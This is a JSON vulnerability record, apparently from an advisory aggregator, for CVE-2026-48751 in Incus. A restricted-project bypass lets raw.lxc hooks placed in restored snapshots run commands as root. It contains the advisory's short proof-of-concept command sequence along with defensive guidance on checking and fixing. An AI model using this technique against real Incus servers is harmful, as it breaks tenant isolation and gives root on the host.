{"id":"CVE-2026-48751","kind":"vulnerability","aliases":["CVE-2026-48751","GHSA-48q5-w887-33wv"],"related":[],"title":"Incus has a restricted project bypass leading to arbitrary command execution","description":"### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","summary":"Incus ignores the restricted.containers.lowlevel=block setting when restoring instance snapshots, so a crafted snapshot can set raw.lxc or raw.qemu hooks in a restricted project. An attacker who can move a snapshot into that project can run arbitrary commands as root on the Incus server.","severity":"critical","cvss":9.9,"epss":0.00637,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-862","incus","infrastructure","linux","self-hosted"],"not_affected_if":["incusd-7.2.0-or-later","no-restricted-projects","single-tenant"],"how_to_check":"- Check the installed incusd version with `incusd --version` and compare it to the fixed release.\n- Look for projects that set `restricted.containers.lowlevel` to `block` on servers you run, since those are the projects the bypass defeats.\n- Check who can create, move or restore instances and snapshots in unrestricted projects.","fix":"- Incus (go module github.com/lxc/incus/v7): upgrade to `7.2.0`.","status":"open","published_at":"2026-06-26T18:33:55+00:00","first_seen_at":"2026-11-05T21:55:50+00:00","triaged_at":"2026-11-05T21:56:12+00:00","updated_at":"2026-11-05T21:56:12+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-11-05T21:56:12Z","model":"claude-haiku-5-5","output":{"fix":"- Incus (go module github.com/lxc/incus/v7): upgrade to `7.2.0`.","reach":"network","title":"Incus: restricted project bypass lets a snapshot run commands on the server","impact":"high","summary":"Incus ignores the restricted.containers.lowlevel=block setting when restoring instance snapshots, so a crafted snapshot can set raw.lxc or raw.qemu hooks in a restricted project. An attacker who can move a snapshot into that project can run arbitrary commands as root on the Incus server.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["incus","self-hosted","linux","containers"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Code runs as root on the Incus host.","analyst_note":"","how_to_check":"- Check the installed incusd version with `incusd --version` and compare it to the fixed release.\n- Look for projects that set `restricted.containers.lowlevel` to `block` on servers you run, since those are the projects the bypass defeats.\n- Check who can create, move or restore instances and snapshots in unrestricted projects.","plain_action":"","needs_analyst":false,"not_affected_if":["incusd-7.2.0-or-later","no-restricted-projects","single-tenant"],"who_is_affected":"Servers running incusd below 7.2.0 are exposed when they use restricted projects that rely on restricted.containers.lowlevel=block. The attack needs a user who can create or move snapshots in an unrestricted project and then move them into the restricted one. Single-tenant hosts without restricted projects are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000782,"input_tokens":4790,"output_tokens":607,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A '-48751':14A,22A '-862':28B '/bin/id':218C '/bin/sh':216C '/lxc-hook-prestart':219C '/lxc/incus/v7/cmd/incusd':25A '33wv':19A '48q5':17A 'abus':97C,123C 'actor':168C 'allow':87C,113C,165C,228C 'anoth':140C 'arbitrari':9A,71B,89C,115C,159C,171C,275C 'attack':60B 'block':39B,85C,111C,194C 'bypass':6A,271C 'c':217C 'command':10A,72B,90C,116C,160C,172C,276C 'config':207C,234C 'contain':26B 'craft':47B,147C 'creat':222C 'cve':12A,20A 'cwe':27B 'debian/trixie':201C 'detail':105C 'execut':11A,91C,117C,161C,170C,277C 'ghsa':16A 'ghsa-48q5-w887-33wv':15A 'github.com':24A 'github.com/lxc/incus/v7/cmd/incusd':23A 'hook':54B,99C,125C 'host':34B,175C 'ignor':36B,82C,108C 'imag':200C 'impact':270C 'incus':1A,29B,35B,77B,94C,120C,182C,188C,198C,206C,220C,233C,245C,254C,263C,280C 'infrastructur':30B 'init':199C 'instanc':43B,80C,106C,143C 'lead':7A 'linux':31B 'local':148C,195C,241C 'lowlevel':98C,124C 'lxc':205C,212C,226C,239C,250C,261C,269C 'lxc.hook.pre':214C 'malici':142C,167C 'mode':252C 'move':63B,135C,149C,246C 'one':137C 'poc':179C 'practic':163C 'privileg':178C 'project':5A,58B,68B,153C,183C,186C,189C,192C,197C,232C,273C 'push':253C 'raw':204C,211C,225C,238C,249C,260C,268C 'raw.lxc':51B,102C,128C,213C,240C 'raw.qemu':53B,104C,130C 'rce':203C,210C,224C,237C,248C,259C,267C 'rce-raw-lxc':202C,209C,223C,236C,247C,258C,266C 'rem':185C,191C,251C,257C,265C 'remot':180C 'restor':42B,157C,256C 'restrict':4A,57B,152C,181C,231C,274C 'restricted.containers.lowlevel':38B,84C,110C,193C 'restricted.true':187C 'root':74B,177C 'run':70B 'self':33B 'self-host':32B 'server':78B,95C,121C,138C,281C 'set':40B,50B,86C,112C,184C,190C,208C 'snap0':227C,262C 'snapshot':44B,48B,65B,81C,107C,132C,144C,156C,221C,255C 'start':215C,264C 'summari':79C 'transfer':229C,242C 'trigger':244C 'unrestrict':196C 'unset':235C 'w887':18A","nicknames":[],"mitigations":[],"who_affected":"Servers running incusd below 7.2.0 are exposed when they use restricted projects that rely on restricted.containers.lowlevel=block. The attack needs a user who can create or move snapshots in an unrestricted project and then move them into the restricted one. Single-tenant hosts without restricted projects are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v7"],"labels":["containers","critical","cwe862","go","incus","infrastructure","linux","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:02:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-48q5-w887-33wv","url":"https://github.com/advisories/GHSA-48q5-w887-33wv","severity":"critical","published_at":"2026-06-26T18:33:55+00:00","modified_at":"2026-11-05T21:53:38+00:00","first_seen_at":"2026-11-05T21:55:50+00:00","fetched_at":"2026-11-05T22:05:53+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-48751","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48751","severity":null,"published_at":"2026-08-21T15:16:40+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T22:16:00+00:00","fetched_at":"2026-11-05T22:16:00+00:00","note":null}],"documents":[{"id":80661,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-48q5-w887-33wv","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80662,"url":"https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:02:11+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[{"type":"epss","score":0.00637,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48751"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}